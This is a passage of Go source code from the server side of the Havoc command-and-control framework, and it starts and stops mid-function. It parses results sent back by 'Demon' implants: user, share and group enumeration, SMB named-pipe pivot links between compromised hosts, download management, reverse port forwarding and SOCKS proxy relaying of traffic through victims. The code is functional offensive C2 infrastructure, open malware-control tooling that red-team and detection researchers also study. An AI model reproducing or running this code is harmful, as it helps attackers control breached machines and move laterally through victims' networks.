Parser.ParseUTF16String() User = Parser.ParseUTF16String() Time = int(Parser.ParseInt32()) Idle = int(Parser.ParseInt32()) Column []string ) Index++ Column = []string{Client, User, strconv.Itoa(Time), strconv.Itoa(Idle)} Data = append(Data, Column) } table.AppendBulk(Data) table.Render() Message["Type"] = "Info" Message["Message"] = fmt.Sprintf("Sessions for %v [%v]: ", Domain, Index) Message["Output"] = "\n" + Buffer.String() a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_SESSIONS, Invalid packet", AgentID)) } break case DEMON_NET_COMMAND_COMPUTER: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_COMPUTER", AgentID)) a.RequestCompleted(RequestID) break case DEMON_NET_COMMAND_DCLIST: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_DCLIST", AgentID)) a.RequestCompleted(RequestID) break case DEMON_NET_COMMAND_SHARE: var ( Index int Buffer bytes.Buffer Data [][]string ) if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_SHARE", AgentID)) var Domain = Parser.ParseUTF16String() table := tablewriter.NewWriter(&Buffer) table.SetBorder(false) table.SetHeader([]string{"Share name", "Path", "Remark", "Access"}) table.SetBorder(false) table.SetHeaderAlignment(tablewriter.ALIGN_CENTER) // table.SetRowSeparator("-") table.SetColumnSeparator(" ") table.SetCenterSeparator(" ") for Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadInt32}) { var ( Name = Parser.ParseUTF16String() Path = Parser.ParseUTF16String() Remark = Parser.ParseUTF16String() Access = int(Parser.ParseInt32()) Column []string ) Index++ Column = []string{Name, Path, Remark, strconv.Itoa(Access)} Data = append(Data, Column) } table.AppendBulk(Data) table.Render() Message["Type"] = "Info" Message["Message"] = fmt.Sprintf("Shares for %v [%v]: ", Domain, Index) Message["Output"] = "\n" + Buffer.String() a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_SHARE, Invalid packet", AgentID)) } break case DEMON_NET_COMMAND_LOCALGROUP: var Data string if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_LOCALGROUP", AgentID)) var Domain = Parser.ParseUTF16String() Data += fmt.Sprintf(" %-48s %s\n", "Group", "Description") Data += fmt.Sprintf(" %-48s %s\n", "-----", "-----------") for Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadBytes}) { var ( Group = Parser.ParseUTF16String() Description = Parser.ParseUTF16String() ) Data += fmt.Sprintf(" %-48s %s\n", Group, Description) } Message["Type"] = "Info" Message["Message"] = fmt.Sprintf("Local Groups for %v: ", Domain) Message["Output"] = "\n" + Data a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_LOCALGROUP, Invalid packet", AgentID)) } break case DEMON_NET_COMMAND_GROUP: var Data string if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_GROUP", AgentID)) var Domain = Parser.ParseUTF16String() Data += fmt.Sprintf(" %-48s %s\n", "Group", "Description") Data += fmt.Sprintf(" %-48s %s\n", "-----", "-----------") for Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadBytes}) { var ( Group = Parser.ParseUTF16String() Description = Parser.ParseUTF16String() ) Data += fmt.Sprintf(" %-48s %s\n", Group, Description) } Message["Type"] = "Info" Message["Message"] = fmt.Sprintf("List groups on %s: ", Domain) Message["Output"] = "\n" + Data a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_GROUP, Invalid packet", AgentID)) } break case DEMON_NET_COMMAND_USERS: var Data string if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_USERS", AgentID)) var Target = Parser.ParseUTF16String() for Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadInt32}) { var ( User = Parser.ParseUTF16String() Admin = Parser.ParseInt32() ) if Admin == win32.TRUE { Data += fmt.Sprintf(" - %s (Admin)\n", User) } else { Data += fmt.Sprintf(" - %s \n", User) } } Message["Type"] = "Info" Message["Message"] = fmt.Sprintf("Users on %v: ", Target) Message["Output"] = "\n" + Data a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_USERS, Invalid packet", AgentID)) } break default: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - UNKNOWN (%d)", AgentID, NetCommand)) } teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET, Invalid packet", AgentID)) } break case COMMAND_PIVOT: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( PivotCommand = Parser.ParseInt32() Message = make(map[string]string) ) switch PivotCommand { case DEMON_PIVOT_LIST: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PIVOT - DEMON_PIVOT_LIST", AgentID)) var ( Data string Count int ) Data += fmt.Sprintf(" %-10s %s\n", "DemonID ", "Named Pipe") Data += fmt.Sprintf(" %-10s %s\n", "--------", "-----------") for Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes}) { var ( DemonId int NamedPipe string ) DemonId = Parser.ParseInt32() NamedPipe = Parser.ParseUTF16String() Data += fmt.Sprintf(" %-10x %v\n", DemonId, NamedPipe) Count++ } if Count > 0 { Message["Type"] = "Info" Message["Message"] = fmt.Sprintf("Pivot List [%v]: ", Count) Message["Output"] = "\n" + Data } else { Message["Type"] = "Info" Message["Message"] = fmt.Sprintf("No pivots connected") } a.RequestCompleted(RequestID) case DEMON_PIVOT_SMB_CONNECT: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var Success = Parser.ParseInt32() logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PIVOT - DEMON_PIVOT_SMB_CONNECT, Success: %d", AgentID, Success)) // if we successfully connected to the SMB named pipe if Success == 1 { if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { var ( DemonData = Parser.ParseBytes() AgentHdr Header err error ) // parse the agent header if AgentHdr, err = ParseHeader(DemonData); err == nil { if AgentHdr.MagicValue == DEMON_MAGIC_VALUE { // ignore the RequestID AgentHdr.Data.ParseInt32() // ignore the CommandID AgentHdr.Data.ParseInt32() var DemonInfo *Agent // if agent exist then just retrieve the instance by agent id if teamserver.AgentExist(AgentHdr.AgentID) { DemonInfo = teamserver.AgentInstance(AgentHdr.AgentID) Message["MiscType"] = "reconnect" Message["MiscData"] = fmt.Sprintf("%v;%x", a.NameID, AgentHdr.AgentID) if DemonInfo.Pivots.Parent != nil { for i := range DemonInfo.Pivots.Parent.Pivots.Links { if DemonInfo.Pivots.Parent.Pivots.Links[i].NameID == fmt.Sprintf("%08x", AgentHdr.AgentID) { DemonInfo.Pivots.Parent.Pivots.Links = append(DemonInfo.Pivots.Parent.Pivots.Links[:i], DemonInfo.Pivots.Parent.Pivots.Links[i+1:]...) break } } } DemonInfo.Active = true DemonInfo.Reason = "" DemonInfo.Pivots.Parent = a a.Pivots.Links = append(a.Pivots.Links, DemonInfo) teamserver.LinkAdd(a, DemonInfo) teamserver.AgentUpdate(DemonInfo) teamserver.AgentUpdate(a) } else { // if the agent doesn't exist then we assume that it's a register request from a new agent DemonInfo = ParseDemonRegisterRequest(AgentHdr.AgentID, AgentHdr.Data, "") DemonInfo.Pivots.Parent = a a.Pivots.Links = append(a.Pivots.Links, DemonInfo) teamserver.LinkAdd(a, DemonInfo) DemonInfo.Info.MagicValue = AgentHdr.MagicValue teamserver.AgentAdd(DemonInfo) teamserver.AgentSendNotify(DemonInfo) } if DemonInfo != nil { Message["Type"] = "Good" Message["Message"] = "[SMB] Connected to pivot agent [" + a.NameID + "]-<>-<>-[" + DemonInfo.NameID + "]" } else { Message["Type"] = "Error" Message["Message"] = "[SMB] Failed to connect: failed to parse the agent" } } else { Message["Type"] = "Error" Message["Message"] = "[SMB] Failed to connect: magic value isn't demon type" } } else { Message["Type"] = "Error" Message["Message"] = "[SMB] Failed to connect: " + err.Error() } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PIVOT - DEMON_PIVOT_SMB_CONNECT, Invalid packet", AgentID)) Message["Type"] = "Error" Message["Message"] = "[SMB] Failed to connect: Invalid response" } } else { if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { logger.Debug("DEMON_PIVOT_SMB_CONNECT: Failed") var ( ErrorCode = Parser.ParseInt32() ErrorString, found = Win32ErrorCodes[ErrorCode] ) ErrorString += " " if !found { ErrorString = "" } Message["Type"] = "Error" Message["Message"] = fmt.Sprintf("[SMB] Failed to connect: %v [%v]", ErrorString, ErrorCode) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PIVOT - DEMON_PIVOT_SMB_CONNECT, Invalid packet", AgentID)) } } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PIVOT - DEMON_PIVOT_SMB_CONNECT, Invalid packet", AgentID)) } break case DEMON_PIVOT_SMB_DISCONNECT: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) { var ( Success = Parser.ParseInt32() AgentID = Parser.ParseInt32() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PIVOT - DEMON_PIVOT_SMB_DISCONNECT, Success: %d, AgentID: %x", AgentID, Success, AgentID)) if Success == win32.TRUE { Message["Type"] = "Info" Message["Message"] = fmt.Sprintf("[SMB] Agent disconnected %x", AgentID) Message["MiscType"] = "disconnect" Message["MiscData"] = fmt.Sprintf("%08x", AgentID) AgentInstance := teamserver.AgentInstance(AgentID) if AgentInstance != nil { teamserver.LinkRemove(a, AgentInstance, true) } } else { Message["Type"] = "Error" Message["Message"] = fmt.Sprintf("[SMB] Failed to disconnect agent %x", AgentID) } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PIVOT - DEMON_PIVOT_SMB_DISCONNECT, Invalid packet", AgentID)) } break case DEMON_PIVOT_SMB_COMMAND: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { var ( Package = Parser.ParseBytes() AgentHdr, err = ParseHeader(Package) ) if err == nil { if AgentHdr.MagicValue == DEMON_MAGIC_VALUE { var PivotAgent *Agent PivotAgent = teamserver.AgentInstance(AgentHdr.AgentID) if PivotAgent != nil { PivotAgent.UpdateLastCallback(teamserver) //logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PIVOT - DEMON_PIVOT_SMB_COMMAND, Linked Agent: %s, Command: %d", AgentID, PivotAgent.NameID, Command)) // while we can read a command and request id, parse new packages first_iter := true for (AgentHdr.Data.CanIRead(([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}))) { var Command = uint32(AgentHdr.Data.ParseInt32()) var Request = uint32(AgentHdr.Data.ParseInt32()) if first_iter { first_iter = false // if the message is not a reconnect, decrypt the buffer AgentHdr.Data.DecryptBuffer(PivotAgent.Encryption.AESKey, PivotAgent.Encryption.AESIv) } /* The agent is sending us the result of a task */ if Command != COMMAND_GET_JOB { Parser := parser.NewParser(AgentHdr.Data.ParseBytes()) PivotAgent.TaskDispatch(Request, Command, Parser, teamserver) } } } else { Message["Type"] = "Error" Message["Message"] = fmt.Sprintf("Can't process output for %x: Agent not found", AgentHdr.AgentID) } } else { Message["Type"] = "Error" Message["Message"] = "[SMB] Response magic value isn't demon type" } } else { Message["Type"] = "Error" Message["Message"] = "[SMB] Failed to parse agent header: " + err.Error() } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PIVOT - DEMON_PIVOT_SMB_COMMAND, Invalid packet", AgentID)) } break default: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PIVOT - UNKNOWN (%d)", AgentID, PivotCommand)) } teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PIVOT, Invalid packet", AgentID)) } break case COMMAND_TRANSFER: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( SubCommand = Parser.ParseInt32() Message map[string]string ) switch SubCommand { case DEMON_COMMAND_TRANSFER_LIST: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TRANSFER - DEMON_COMMAND_TRANSFER_LIST", AgentID)) var ( Data string Count int ) Data += fmt.Sprintf(" %-8s %-8s %-8s %-8s %s\n", "File ID", "Size", "Progress", "State", "File") Data += fmt.Sprintf(" %-8s %-8s %-8s %-8s %s\n", "-------", "----", "--------", "-----", "----") for Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) { var ( FileID = Parser.ParseInt32() Size = Parser.ParseInt32() State = Parser.ParseInt32() ) if download := a.DownloadGet(FileID); download != nil { var ( StateString string Progress string ) if State == DOWNLOAD_STATE_RUNNING { StateString = "Running" } else if State == DOWNLOAD_STATE_STOPPED { StateString = "Stopped" } else if State == DOWNLOAD_STATE_REMOVE { /* pending remove */ StateString = "Removed" } Progress = fmt.Sprintf("%.2f%%", common.PercentageChange(Size, download.TotalSize)) Data += fmt.Sprintf(" %-8x %-8s %-8s %-8s %s\n", FileID, common.ByteCountSI(int64(download.TotalSize)), Progress, StateString, download.FilePath) Count++ } } Message = map[string]string{ "Type": "Info", "Message": fmt.Sprintf("List downloads [%v current downloads]:", Count), "Output": "\n" + Data, } a.RequestCompleted(RequestID) break case DEMON_COMMAND_TRANSFER_STOP: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) { var ( Found = Parser.ParseInt32() FileID = Parser.ParseInt32() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TRANSFER - DEMON_COMMAND_TRANSFER_STOP, Found: %d, FileID: %x", AgentID, Found, FileID)) if Found == win32.TRUE { if download := a.DownloadGet(FileID); download != nil { Message = map[string]string{ "Type": "Good", "Message": fmt.Sprintf("Successful found and stopped download: %x", FileID), } } else { Message = map[string]string{ "Type": "Error", "Message": fmt.Sprintf("Couldn't stop download %x: Download does not exists", FileID), } } } else { Message = map[string]string{ "Type": "Error", "Message": fmt.Sprintf("Couldn't stop download %x: FileID not found", FileID), } } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TRANSFER - DEMON_COMMAND_TRANSFER_STOP, Invalid packet", AgentID)) Message = map[string]string{ "Type": "Error", "Message": fmt.Sprintf("Callback output is smaller than expected. Callback type COMMAND_TRANSFER with subcommand 0x1 (stop). Expected at least 8 bytes but received %v bytes", Parser.Length()), } } a.RequestCompleted(RequestID) break case DEMON_COMMAND_TRANSFER_RESUME: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) { var ( Found = Parser.ParseInt32() FileID = Parser.ParseInt32() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TRANSFER - DEMON_COMMAND_TRANSFER_RESUME, Found: %d, FileID: %x", AgentID, Found, FileID)) if Found == win32.TRUE { if download := a.DownloadGet(FileID); download != nil { Message = map[string]string{ "Type": "Good", "Message": fmt.Sprintf("Successful found and resumed download: %x", FileID), } } else { Message = map[string]string{ "Type": "Error", "Message": fmt.Sprintf("Couldn't resume download %x: Download does not exists", FileID), } } } else { Message = map[string]string{ "Type": "Error", "Message": fmt.Sprintf("Couldn't resume download %x: FileID not found", FileID), } } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TRANSFER - DEMON_COMMAND_TRANSFER_RESUME, Invalid packet", AgentID)) Message = map[string]string{ "Type": "Error", "Message": fmt.Sprintf("Callback output is smaller than expected. Callback type COMMAND_TRANSFER with subcommand 0x2 (resume). Expected at least 8 bytes but received %v bytes", Parser.Length()), } } a.RequestCompleted(RequestID) break case DEMON_COMMAND_TRANSFER_REMOVE: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) { var ( Found = Parser.ParseInt32() FileID = Parser.ParseInt32() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TRANSFER - DEMON_COMMAND_TRANSFER_REMOVE, Found: %d, FileID: %x", AgentID, Found, FileID)) if Found == win32.TRUE { if download := a.DownloadGet(FileID); download != nil { Message = map[string]string{ "Type": "Good", "Message": fmt.Sprintf("Successful found and removed download: %x", FileID), } } else { Message = map[string]string{ "Type": "Error", "Message": fmt.Sprintf("Couldn't remove download %x: Download does not exists", FileID), } } } else { Message = map[string]string{ "Type": "Error", "Message": fmt.Sprintf("Couldn't remove download %x: FileID not found", FileID), } } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TRANSFER - DEMON_COMMAND_TRANSFER_REMOVE, Invalid packet", AgentID)) Message = map[string]string{ "Type": "Error", "Message": fmt.Sprintf("Callback output is smaller than expected. Callback type COMMAND_TRANSFER with subcommand 0x3 (remove). Expected at least 8 bytes but received %v bytes", Parser.Length()), } } a.RequestCompleted(RequestID) break default: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TRANSFER - UNKNOWN (%d)", AgentID, SubCommand)) } teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TRANSFER, Invalid packet", AgentID)) } break case COMMAND_SOCKET: var ( SubCommand = 0 Message map[string]string ) if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { SubCommand = Parser.ParseInt32() switch SubCommand { case SOCKET_COMMAND_RPORTFWD_ADD: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) { var ( SocktID = 0 Success = 0 LclAddr = 0 LclPort = 0 FwdAddr = 0 FwdPort = 0 FwdString string LclString string ) Success = Parser.ParseInt32() SocktID = Parser.ParseInt32() LclAddr = Parser.ParseInt32() LclPort = Parser.ParseInt32() FwdAddr = Parser.ParseInt32() FwdPort = Parser.ParseInt32() logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_RPORTFWD_ADD, Success: %d, SocktID: %x, LclAddr: %d, LclPort: %d, FwdAddr: %d, FwdPort: %d", AgentID, Success, SocktID, LclAddr, LclPort, FwdAddr, FwdPort)) LclString = common.Int32ToIpString(int64(LclAddr)) FwdString = common.Int32ToIpString(int64(FwdAddr)) if Success == win32.TRUE { a.Console(teamserver.AgentConsole, "Info", fmt.Sprintf("Started reverse port forward on %s:%d to %s:%d [Id: %x]", LclString, LclPort, FwdString, FwdPort, SocktID), "") return } else { a.Console(teamserver.AgentConsole, "Erro", fmt.Sprintf("Failed to start reverse port forward on %s:%d to %s:%d", LclString, LclPort, FwdString, FwdPort), "") return } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_RPORTFWD_ADD, Invalid packet", AgentID)) Message = map[string]string{ "Type": "Error", "Message": fmt.Sprintf("Callback output is smaller than expected. Callback type COMMAND_SOCKET sub-command rportfwd (SOCKET_COMMAND_RPORTFWD_ADD : 0x0) expected at least 16 bytes but received %v bytes", Parser.Length()), } } break case SOCKET_COMMAND_RPORTFWD_LIST: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_RPORTFWD_LIST", AgentID)) var ( FwdList string FwdCount int ) FwdList += "\n" FwdList += fmt.Sprintf(" %-12s %s\n", "Socket ID", "Forward") FwdList += fmt.Sprintf(" %-12s %s\n", "---------", "-------") for Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) { var ( SocktID = 0 LclAddr = 0 LclPort = 0 FwdAddr = 0 FwdPort = 0 FwdString string LclString string ) SocktID = Parser.ParseInt32() LclAddr = Parser.ParseInt32() LclPort = Parser.ParseInt32() FwdAddr = Parser.ParseInt32() FwdPort = Parser.ParseInt32() LclString = common.Int32ToIpString(int64(LclAddr)) FwdString = common.Int32ToIpString(int64(FwdAddr)) FwdList += fmt.Sprintf(" %-12x %s\n", SocktID, fmt.Sprintf("%s:%d -> %s:%d", LclString, LclPort, FwdString, FwdPort)) FwdCount++ } a.Console(teamserver.AgentConsole, "Info", fmt.Sprintf("reverse port forwards [%d active]:", FwdCount), FwdList) a.RequestCompleted(RequestID) break case SOCKET_COMMAND_RPORTFWD_REMOVE: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) { var ( SocktID = 0 Type = 0 LclAddr = 0 LclPort = 0 FwdAddr = 0 FwdPort = 0 FwdString string LclString string ) SocktID = Parser.ParseInt32() Type = Parser.ParseInt32() LclAddr = Parser.ParseInt32() LclPort = Parser.ParseInt32() FwdAddr = Parser.ParseInt32() FwdPort = Parser.ParseInt32() logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_RPORTFWD_REMOVE, Type: %d, SocktID: %x, LclAddr: %d, LclPort: %d, FwdAddr: %d, FwdPort: %d", AgentID, Type, SocktID, LclAddr, LclPort, FwdAddr, FwdPort)) LclString = common.Int32ToIpString(int64(LclAddr)) FwdString = common.Int32ToIpString(int64(FwdAddr)) if Type == SOCKET_TYPE_REVERSE_PORTFWD { Message = map[string]string{ "Type": "Info", "Message": fmt.Sprintf("Successful closed and removed rportfwd [SocketID: %x] [Forward: %s:%d -> %s:%d]", SocktID, LclString, LclPort, FwdString, FwdPort), } } /* finally close our port forwarder */ a.PortFwdClose(SocktID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_RPORTFWD_REMOVE, Invalid packet", AgentID)) Message = map[string]string{ "Type": "Info", "Message": fmt.Sprintf("Callback output is smaller than expected. Callback type COMMAND_SOCKET sub-command rportfwd (SOCKET_COMMAND_RPORTFWD_REMOVE : 0x4) expected at least 20 bytes but received %v bytes", Parser.Length()), } } a.RequestCompleted(RequestID) break case SOCKET_COMMAND_RPORTFWD_CLEAR: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var Success = Parser.ParseInt32() logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_RPORTFWD_CLEAR, Success: %d", AgentID, Success)) if Success == win32.TRUE { Message = map[string]string{ "Type": "Good", "Message": "Successful closed and removed all rportfwds", } } else { Message = map[string]string{ "Type": "Erro", "Message": "Failed to closed and remove all rportfwds", } } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_RPORTFWD_CLEAR, Invalid packet", AgentID)) Message = map[string]string{ "Type": "Info", "Message": fmt.Sprintf("Callback output is smaller than expected. Callback type COMMAND_SOCKET sub-command rportfwd (SOCKET_COMMAND_RPORTFWD_CLEAR : 0x3) expected at least 4 bytes but received %v bytes", Parser.Length()), } } a.RequestCompleted(RequestID) break case SOCKET_COMMAND_SOCKSPROXY_ADD: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_SOCKSPROXY_ADD", AgentID)) break case SOCKET_COMMAND_OPEN: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) { var ( SocktID = 0 LclAddr = 0 LclPort = 0 FwdAddr = 0 FwdPort = 0 FwdString string ) SocktID = Parser.ParseInt32() LclAddr = Parser.ParseInt32() LclPort = Parser.ParseInt32() FwdAddr = Parser.ParseInt32() FwdPort = Parser.ParseInt32() // avoid too much spam //logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_OPEN, SocktID: %08x, LclAddr: %d, LclPort: %d, FwdAddr: %d, FwdPort: %d", AgentID, SocktID, LclAddr, LclPort, FwdAddr, FwdPort)) FwdString = common.Int32ToIpString(int64(FwdAddr)) FwdString = fmt.Sprintf("%s:%d", FwdString, FwdPort) if Socket := a.PortFwdGet(SocktID); Socket != nil { /* Socket already exists. don't do anything. */ logger.Debug("Socket already exists") return } /* add this rportfwd */ a.PortFwdNew(SocktID, LclAddr, LclPort, FwdAddr, FwdPort, FwdString) /* we will open the rportfwd client only after we have something to write */ } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_OPEN, Invalid packet", AgentID)) } break case SOCKET_COMMAND_READ: /* if we receive the SOCKET_COMMAND_READ command * that means that we should read the callback and send it to the forwared host/socks proxy */ if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) { var ( SocktID = Parser.ParseInt32() Type = Parser.ParseInt32() Success = Parser.ParseInt32() ) if Success == win32.TRUE { if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { var( Data = Parser.ParseBytes() ) // avoid too much spam //logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_READ, SocktID: %08x, Type: %d, DataLength: %x", AgentID, SocktID, Type, len(Data))) if Type == SOCKET_TYPE_CLIENT { /* we only open rportfwd clients once we have data to write */ opened, err := a.PortFwdIsOpen(SocktID) if err != nil { a.Console(teamserver.AgentConsole, "Erro", fmt.Sprintf("Failed to write to reverse port forward host: %v", err), "") return } /* if first time, open the client */ if opened == false { err := a.PortFwdOpen(SocktID) if err != nil { logger.Debug(fmt.Sprintf("Failed to open rportfwd: %v", err)) a.Console(teamserver.AgentConsole, "Erro", fmt.Sprintf("Failed to open reverse port forward host: %v", err), "") return } } /* write the data to the forwarded host */ err = a.PortFwdWrite(SocktID, Data) if err != nil { a.Console(teamserver.AgentConsole, "Erro", fmt.Sprintf("Failed to write to reverse port forward socket 0x%08x: %v", SocktID, err), "") return } if opened == false { /* after we managed to open a socket to the forwarded host lets start a * goroutine where we read the data from the forwarded host and send it to the agent. */ go func() { for { Data, err := a.PortFwdRead(SocktID) if err == nil { /* only send the data if there is something... */ if len(Data) > 0 { /* make a new job */ var job = Job{ Command: COMMAND_SOCKET, Data: []any{ SOCKET_COMMAND_WRITE, SocktID, Data, }, } /* append the job to the task queue */ a.AddJobToQueue(job) } } else { /* we failed to read from the portfwd */ logger.Error(fmt.Sprintf("Failed to read from socket %08x: %v", SocktID, err)) return } } }() } } else if Type == SOCKET_TYPE_REVERSE_PROXY { /* check if there is a socket with that socks proxy id */ if Socket := a.SocksClientGet(SocktID); Socket != nil { /* write the data to socks proxy */ _, err := Socket.Conn.Write(Data) if err != nil { a.Console(teamserver.AgentConsole, "Erro", fmt.Sprintf("Failed to write to socks proxy %v: %v", SocktID, err), "") /* TODO: remove socks proxy client */ //a.SocksClientClose(SOCKET_TYPE_CLIENT) return } } else { logger.Error(fmt.Sprintf("SocketID not found: %08x\n", SocktID)) } } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_READ, Invalid packet", AgentID)) } } else { if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( ErrorCode = Parser.ParseInt32() ) logger.Warn(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_READ, SocktID: %08x, Type: %d, Failed with: %d", AgentID, SocktID, Type, ErrorCode)) a.Console(teamserver.AgentConsole, "Erro", fmt.Sprintf("Failed to read from socks target %v: %v", SocktID, ErrorCode), "") } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_READ, Invalid packet", AgentID)) } } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_READ, Invalid packet", AgentID)) } break case SOCKET_COMMAND_WRITE: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) { var ( Id = Parser.ParseInt32() Type = Parser.ParseInt32() Success = Parser.ParseInt32() ) if Success == win32.FALSE { if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( ErrorCode = Parser.ParseInt32() ) logger.Warn(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_WRITE, Id: %08x, Type: %d, Failed with: %d", AgentID, Id, Type, ErrorCode)) a.Console(teamserver.AgentConsole, "Erro", fmt.Sprintf("Failed to write to socks target %v: %v", Id, ErrorCode), "") } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_WRITE, Invalid packet", AgentID)) } } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_WRITE, Invalid packet", AgentID)) } break case SOCKET_COMMAND_CLOSE: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) { var ( SockId = Parser.ParseInt32() Type = Parser.ParseInt32() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_CLOSE, Id: %08x, Type: %d", AgentID, SockId, Type)) if Type == 